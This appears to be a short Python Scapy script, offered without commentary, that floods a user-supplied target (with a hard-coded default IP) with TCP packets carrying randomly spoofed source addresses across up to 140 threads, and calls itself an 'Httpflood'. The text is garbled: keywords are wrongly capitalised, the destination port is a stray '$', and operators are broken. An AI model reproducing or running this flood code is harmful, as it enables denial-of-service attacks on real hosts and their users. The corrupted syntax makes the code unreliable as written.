The code is as follows:
#-*-coding:cp936-*-
From Scapy.all Import *
From threading Import Thread,activecount
From random import Randint
Class Loop (Thread):
def __init__ (SELF,REMOTEADDR):
Thread.__init__ (self)
SELF.REMOTEADDR = remoteaddr
def run (self):
ip = str (randint (0,255)) + '. ' \
+str (Randint (0,255)) + '. ' \
+str (Randint (0,255)) + '. ' \
+str (Randint (0,255))
SR1 (IP (src = IP,DST = self.remoteaddr)/tcp (dport = $), retry = 0,verbose = 0,timeout = 3)
Class Main (Thread):
def __init__ (SELF,REMOTEADDR):
Thread.__init__ (self)
SELF.REMOTEADDR = remoteaddr
def run (self):
Limit = 140
Total = 0
While True:
If Activecount () < limit:
Loop (remoteaddr = self.remoteaddr). Start ()
Total = Total + 1
print ' The number of Httpflood currently in progress is: ', total
if __name__ = = ' __main__ ':
remoteaddr = raw_input (' ip= ')
if remoteaddr = = ':
remoteaddr = ' 202.103.25.12 '
Main (remoteaddr = remoteaddr). Start ()